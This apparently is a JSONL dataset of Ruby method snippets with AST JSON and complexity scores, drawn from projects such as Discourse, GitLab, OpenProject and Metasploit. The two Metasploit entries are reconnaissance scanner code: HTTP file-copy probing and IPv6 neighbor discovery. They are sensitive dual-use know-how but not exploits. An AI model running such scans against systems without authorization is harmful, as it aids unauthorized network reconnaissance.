{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/copy_of_file.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'HTTP Copy File Scanner',\n        'Description'\t=> %q{\n          This module identifies the existence of possible copies\n          of a specific file in a given path.\n        },\n        'Author' => [ 'et [at] cyberspace.org' ],\n        'License'\t=> BSD_LICENSE,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('PATH', [ true, \"The path/file to identify copies\", '/index.asp'])\n      ]\n    )\n\n    register_advanced_options(\n      [\n        OptInt.new('ErrorCode', [ true, \"Error code for non existent directory\", 404]),\n        OptPath.new('HTTP404Sigs', [\n          false, \"Path of 404 signatures to use\",\n          File.join(Msf::Config.data_directory, \"wmap\", \"wmap_404s.txt\")\n        ]),\n        OptBool.new('NoDetailMessages', [ false, \"Do not display detailed test messages\", true ])\n      ]\n    )\n  end","complexity_score":13.15,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"HTTP Copy File Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module identifies the existence of possible copies\\n\"]},{\"type\":\"str\",\"children\":[\"          of a specific file in a given path.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"et [at] cyberspace.org\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"BSD_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"PATH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path/file to identify copies\"]},{\"type\":\"str\",\"children\":[\"/index.asp\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_advanced_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"ErrorCode\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Error code for non existent directory\"]},{\"type\":\"int\",\"children\":[404]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptPath\"]},\"new\",{\"type\":\"str\",\"children\":[\"HTTP404Sigs\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Path of 404 signatures to use\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"data_directory\"]},{\"type\":\"str\",\"children\":[\"wmap\"]},{\"type\":\"str\",\"children\":[\"wmap_404s.txt\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"NoDetailMessages\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Do not display detailed test messages\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"78cd4b75-2652-4595-9abe-363dd679974b"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/topic_retriever.rb","start_line":4,"raw_source":"def initialize(embed_url, opts = nil)\n    @embed_url = embed_url\n    @opts = opts || {}\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"embed_url\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@embed_url\",{\"type\":\"lvar\",\"children\":[\"embed_url\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@opts\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"hash\",\"children\":[]}]}]}]}]}","id":"f688eecd-5b31-4f53-bd68-6772cfd0b280"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/base.rb","start_line":415,"raw_source":"def within_element(name, **kwargs, &block)\n        wait_for_requests\n        text = kwargs.delete(:text)\n\n        page.within(element_selector_css(name, kwargs), text: text, &block)\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"within_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwrestarg\",\"children\":[\"kwargs\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wait_for_requests\"]},{\"type\":\"lvasgn\",\"children\":[\"text\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kwargs\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"text\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within\",{\"type\":\"send\",\"children\":[null,\"element_selector_css\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"kwargs\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"lvar\",\"children\":[\"text\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"178db274-009d-4830-b74a-10a0b1905bbf"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/vm_scan.rb","start_line":10,"raw_source":"def self.current_job_timeout(timeout_adjustment = 1)\n    timeout_adjustment = 1 if defined?(RSpec)\n    DEFAULT_TIMEOUT * timeout_adjustment\n  end","complexity_score":4.63,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"current_job_timeout\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"timeout_adjustment\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]}]},{\"type\":\"lvasgn\",\"children\":[\"timeout_adjustment\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULT_TIMEOUT\"]},\"*\",{\"type\":\"lvar\",\"children\":[\"timeout_adjustment\"]}]}]}]}","id":"a9c9a7da-ef11-4d46-af6b-7966ff868abd"}
{"repo_name":"forem","file_path":"./repos/forem/app/policies/discussion_lock_policy.rb","start_line":4,"raw_source":"def create?\n    (user_author? || user_any_admin?) && !user.spam_or_suspended?\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"create?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_author?\"]},{\"type\":\"send\",\"children\":[null,\"user_any_admin?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"spam_or_suspended?\"]},\"!\"]}]}]}","id":"839a7fdc-4d86-4a76-b11f-c58a822d92af"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/post_bookmarkable.rb","start_line":69,"raw_source":"def self.bookmark_metadata(bookmark, user)\n    {\n      topic_bookmarked: Bookmark.for_user_in_topic(user.id, bookmark.bookmarkable.topic_id).exists?,\n    }\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"bookmark_metadata\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bookmark\"]},{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_bookmarked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Bookmark\"]},\"for_user_in_topic\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bookmark\"]},\"bookmarkable\"]},\"topic_id\"]}]},\"exists?\"]}]}]}]}","id":"7c3b58b8-fff7-491e-9b10-f40cde9e18d4"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/components/bim/ifc_models/row_component.rb","start_line":47,"raw_source":"def still_processing?\n        model.xkt_attachment.nil?\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"still_processing?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"xkt_attachment\"]},\"nil?\"]}]}","id":"4f3762da-f976-43fd-ab82-22a1729fc0eb"}
{"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/lib/zeitwerk/loader/eager_load.rb","start_line":9,"raw_source":"def eager_load(force: false)\n    mutex.synchronize do\n      break if @eager_loaded\n      raise Zeitwerk::SetupRequired unless @setup\n\n      log(\"eager load start\") if logger\n\n      actual_roots.each do |root_dir, root_namespace|\n        actual_eager_load_dir(root_dir, root_namespace, force: force)\n      end\n\n      autoloaded_dirs.each do |autoloaded_dir|\n        Zeitwerk::Registry.autoloads.unregister(autoloaded_dir)\n      end\n      autoloaded_dirs.clear\n\n      @eager_loaded = true\n\n      log(\"eager load end\") if logger\n    end\n  end","complexity_score":29.8,"ast_json":"{\"type\":\"def\",\"children\":[\"eager_load\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"force\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@eager_loaded\"]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@setup\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zeitwerk\"]},\"SetupRequired\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"eager load start\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"actual_roots\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"root_dir\"]},{\"type\":\"arg\",\"children\":[\"root_namespace\"]}]},{\"type\":\"send\",\"children\":[null,\"actual_eager_load_dir\",{\"type\":\"lvar\",\"children\":[\"root_dir\"]},{\"type\":\"lvar\",\"children\":[\"root_namespace\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"force\"]},{\"type\":\"lvar\",\"children\":[\"force\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"autoloaded_dirs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"autoloaded_dir\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Zeitwerk\"]},\"Registry\"]},\"autoloads\"]},\"unregister\",{\"type\":\"lvar\",\"children\":[\"autoloaded_dir\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"autoloaded_dirs\"]},\"clear\"]},{\"type\":\"ivasgn\",\"children\":[\"@eager_loaded\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},{\"type\":\"send\",\"children\":[null,\"log\",{\"type\":\"str\",\"children\":[\"eager load end\"]}]},null]}]}]}]}","id":"b490b626-e04d-43ed-901e-266248fe3b91"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/pages/notifications/settings.rb","start_line":93,"raw_source":"def enable_date_alert(type, checked)\n        checkbox = page.find \"input[type='checkbox'][data-qa-global-notification-type='op-settings-#{type}-date-active']\"\n        checked ? checkbox.check : checkbox.uncheck\n      end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enable_date_alert\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"checked\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"checkbox\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"input[type='checkbox'][data-qa-global-notification-type='op-settings-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"-date-active']\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checked\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checkbox\"]},\"check\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"checkbox\"]},\"uncheck\"]}]}]}]}","id":"19b345d8-463e-4bb2-98c4-3597c713e958"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/todo_service.rb","start_line":261,"raw_source":"def restore_todos(todos, current_user)\n    todos_ids = todos.batch_update(state: :pending)\n\n    current_user.update_todos_count_cache\n\n    todos_ids\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"restore_todos\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"todos\"]},{\"type\":\"arg\",\"children\":[\"current_user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"todos_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"todos\"]},\"batch_update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"state\"]},{\"type\":\"sym\",\"children\":[\"pending\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_user\"]},\"update_todos_count_cache\"]},{\"type\":\"lvar\",\"children\":[\"todos_ids\"]}]}]}","id":"33edbfb7-d50a-42df-9af6-15576fab4989"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/admin_users_controller.rb","start_line":97,"raw_source":"def load_parent\n        @parent = current_store\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"load_parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@parent\",{\"type\":\"send\",\"children\":[null,\"current_store\"]}]}]}","id":"8779ccac-cf7c-41cf-b6d0-118c511d6c2a"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/project_initializer.rb","start_line":13,"raw_source":"def initialize(opts={})\n        @destination = opts.fetch(:destination, Dir.getwd)\n        @stream = opts.fetch(:report_stream, $stdout)\n        @template_path = opts.fetch(:template_path) do\n          File.expand_path(\"../project_initializer\", __FILE__)\n        end\n      end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@destination\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"destination\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"getwd\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@stream\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"report_stream\"]},{\"type\":\"gvar\",\"children\":[\"$stdout\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@template_path\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"template_path\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"expand_path\",{\"type\":\"str\",\"children\":[\"../project_initializer\"]},{\"type\":\"str\",\"children\":[\"(method)\"]}]}]}]}]}]}","id":"07b4c8b2-f003-4fe0-9dd2-d0bb8a33b075"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/discovery/ipv6_neighbor.rb","start_line":117,"raw_source":"def neighbor_discovery(neighs)\n    print_status('Discovering IPv6 addresses for IPv4 nodes...')\n    print_status('')\n\n    smac = @smac\n    open_pcap({ 'SNAPLEN' => 68, 'FILTER' => 'icmp6' })\n\n    begin\n      neighs.each do |neigh|\n        _, dmac = neigh\n\n        shost = ipv6_linklocaladdr(smac)\n        neigh = ipv6_linklocaladdr(dmac)\n\n        probe = buildsolicitation(smac, shost, neigh)\n\n        capture.inject(probe)\n        Kernel.select(nil, nil, nil, 0.1)\n\n        while (adv = getadvertisement)\n          next unless adv.is_ipv6?\n\n          addr = map_neighbor(neighs, adv)\n          next if !addr\n\n          print_status(format('  %<ipv4>16s maps to %<ipv6>s', ipv4: addr[:ipv4], ipv6: addr[:ipv6]))\n          report_note(\n            host: addr[:ipv4],\n            type: 'host.ipv4.ipv6.mapping',\n            data: {\n              ipv4_address: addr[:ipv4],\n              ipv6_address: addr[:ipv6],\n              matches: 'true'\n            }\n          )\t# with this we have the results in our database\n\n        end\n      end\n\n      etime = ::Time.now.to_f + (neighs.length * 0.5)\n\n      while (::Time.now.to_f < etime)\n        while (adv = getadvertisement)\n          next if !adv\n\n          addr = map_neighbor(neighs, adv)\n          next if !addr\n\n          print_status(format('  %<ipv4>16s maps to %<ipv6>s', ipv4: addr[:ipv4], ipv6: addr[:ipv6]))\n        end\n        ::IO.select(nil, nil, nil, 0.50)\n      end\n    ensure\n      close_pcap\n    end\n  end","complexity_score":86.93,"ast_json":"{\"type\":\"def\",\"children\":[\"neighbor_discovery\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"neighs\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Discovering IPv6 addresses for IPv4 nodes...\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"smac\",{\"type\":\"ivar\",\"children\":[\"@smac\"]}]},{\"type\":\"send\",\"children\":[null,\"open_pcap\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SNAPLEN\"]},{\"type\":\"int\",\"children\":[68]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"FILTER\"]},{\"type\":\"str\",\"children\":[\"icmp6\"]}]}]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"neighs\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"neigh\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"dmac\"]}]},{\"type\":\"lvar\",\"children\":[\"neigh\"]}]},{\"type\":\"lvasgn\",\"children\":[\"shost\",{\"type\":\"send\",\"children\":[null,\"ipv6_linklocaladdr\",{\"type\":\"lvar\",\"children\":[\"smac\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"neigh\",{\"type\":\"send\",\"children\":[null,\"ipv6_linklocaladdr\",{\"type\":\"lvar\",\"children\":[\"dmac\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"probe\",{\"type\":\"send\",\"children\":[null,\"buildsolicitation\",{\"type\":\"lvar\",\"children\":[\"smac\"]},{\"type\":\"lvar\",\"children\":[\"shost\"]},{\"type\":\"lvar\",\"children\":[\"neigh\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"capture\"]},\"inject\",{\"type\":\"lvar\",\"children\":[\"probe\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Kernel\"]},\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"adv\",{\"type\":\"send\",\"children\":[null,\"getadvertisement\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adv\"]},\"is_ipv6?\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"addr\",{\"type\":\"send\",\"children\":[null,\"map_neighbor\",{\"type\":\"lvar\",\"children\":[\"neighs\"]},{\"type\":\"lvar\",\"children\":[\"adv\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"str\",\"children\":[\"  %<ipv4>16s maps to %<ipv6>s\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ipv4\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipv4\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ipv6\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipv6\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"report_note\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipv4\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"host.ipv4.ipv6.mapping\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ipv4_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipv4\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ipv6_address\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipv6\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"matches\"]},{\"type\":\"str\",\"children\":[\"true\"]}]}]}]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"etime\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"now\"]},\"to_f\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"neighs\"]},\"length\"]},\"*\",{\"type\":\"float\",\"children\":[0.5]}]}]}]}]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Time\"]},\"now\"]},\"to_f\"]},\"<\",{\"type\":\"lvar\",\"children\":[\"etime\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"adv\",{\"type\":\"send\",\"children\":[null,\"getadvertisement\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"adv\"]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"addr\",{\"type\":\"send\",\"children\":[null,\"map_neighbor\",{\"type\":\"lvar\",\"children\":[\"neighs\"]},{\"type\":\"lvar\",\"children\":[\"adv\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"!\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"str\",\"children\":[\"  %<ipv4>16s maps to %<ipv6>s\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ipv4\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipv4\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ipv6\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"addr\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ipv6\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"IO\"]},\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"float\",\"children\":[0.5]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"close_pcap\"]}]}]}]}]}","id":"cd85fe3d-6962-4c8e-a880-4498129c3c19"}
